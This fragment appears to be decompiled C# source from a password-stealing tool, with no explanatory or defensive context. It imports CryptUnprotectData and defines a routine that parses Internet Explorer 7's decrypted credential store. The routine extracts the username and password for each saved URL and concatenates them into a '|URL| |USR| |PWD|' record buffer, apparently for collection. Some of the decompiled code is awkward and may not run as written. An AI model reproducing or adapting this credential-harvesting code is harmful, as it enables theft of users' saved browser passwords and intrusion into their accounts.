private static extern int CryptUnprotectData(ref CIE7Passwords.DATA_BLOB pDataIn, int ppszDataDescr, IntPtr pOptionalEntropy, int pvReserved, int pPromptStruct, int dwFlags, ref CIE7Passwords.DATA_BLOB pDataOut);
// Token: 0x060000B4 RID: 180 RVA: 0x00006984 File Offset: 0x00004B84 private void ProcessIEPass(string strURL, string strHash, CIE7Passwords.DATA_BLOB dataOut) { CIE7Passwords.StringIndexEntry stringIndexEntry; int num = Strings.Len(stringIndexEntry); CIE7Passwords.StringIndexHeader stringIndexHeader; int num2 = Strings.Len(stringIndexHeader); int pbData = dataOut.pbData; IntPtr ptr = new IntPtr(dataOut.pbData); checked { IntPtr ptr2 = new IntPtr(pbData + (int)Marshal.ReadByte(ptr)); object obj = Marshal.PtrToStructure(ptr2, stringIndexHeader.GetType()); CIE7Passwords.StringIndexHeader stringIndexHeader2; stringIndexHeader = ((obj != null) ? ((CIE7Passwords.StringIndexHeader)obj) : stringIndexHeader2); bool flag = stringIndexHeader.dwType == 1; if (flag) { bool flag2 = stringIndexHeader.dwEntriesCount >= 2; if (flag2) { IntPtr intPtr = new IntPtr(ptr2.ToInt32() + stringIndexHeader.dwStructSize); IntPtr value = new IntPtr(intPtr.ToInt32() + stringIndexHeader.dwEntriesCount * num); int num3 = 0; int num4 = stringIndexHeader.dwEntriesCount - 1; int num5 = num3; for (;;) { int num6 = num5; int num7 = num4; if (num6 > num7) { break; } flag2 = (value == IntPtr.Zero | intPtr == IntPtr.Zero); if (flag2) { break; } object obj2 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType()); CIE7Passwords.StringIndexEntry stringIndexEntry2; stringIndexEntry = ((obj2 != null) ? ((CIE7Passwords.StringIndexEntry)obj2) : stringIndexEntry2); IntPtr intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); flag2 = (CIE7Passwords.lstrlenA(intPtr2) != stringIndexEntry.dwDataSize); string text; if (flag2) { ptr = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); text = Marshal.PtrToStringUni(ptr); } else { intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); text = Marshal.PtrToStringAnsi(intPtr2); } intPtr = new IntPtr(intPtr.ToInt32() + num); object obj3 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType()); stringIndexEntry = ((obj3 != null) ? ((CIE7Passwords.StringIndexEntry)obj3) : stringIndexEntry2); string text2 = Strings.Space(stringIndexEntry.dwDataSize); intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); flag2 = (CIE7Passwords.lstrlenA(intPtr2) != stringIndexEntry.dwDataSize); if (flag2) { ptr = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); text2 = Marshal.PtrToStringUni(ptr); } else { intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); text2 = Marshal.PtrToStringAnsi(intPtr2); } intPtr = new IntPtr(intPtr.ToInt32() + num); p.OL = string.Concat(new string[] { p.OL, "|URL| ", strURL, "\r\n|USR| ", text, "\r\n|PWD| ", text2, "\r\n" }); num5 += 2; } } } else { bool flag2 = stringIndexHeader.dwType == 0; if (flag2) { string text2 = null; IntPtr intPtr = new IntPtr(ptr2.ToInt32() + stringIndexHeader.dwStructSize); IntPtr value = new IntPtr(intPtr.ToInt32() + stringIndexHeader.dwEntriesCount * num); flag2 = (value == IntPtr.Zero | intPtr == IntPtr.Zero); if (!flag2) { int num8 = 0; int num9 = stringIndexHeader.dwEntriesCount - 1; int num10 = num8; for (;;) { int num11 = num10; int num7 = num9; if (num11 > num7) { break; } object obj4 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType()); CIE7Passwords.StringIndexEntry stringIndexEntry2; stringIndexEntry = ((obj4 != null) ? ((CIE7Passwords.StringIndexEntry)obj4) : stringIndexEntry2); string text = Strings.Space(stringIndexEntry.dwDataSize); IntPtr intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); flag2 = (CIE7Passwords.lstrlenA(intPtr2) != stringIndexEntry.dwDataSize); if (flag2) { ptr = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); text = Marshal.PtrToStringUni(ptr); } else { intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); text = Marshal.PtrToStringAnsi(intPtr2); } intPtr = new IntPtr(intPtr.ToInt32() + num); p.OL = string.Concat(new string[] { p.OL, "|URL| ", strURL, "\r\n|USR| ", text, "\r\n|PWD| ", text2, "\r\n" }); num10++; } } } } } }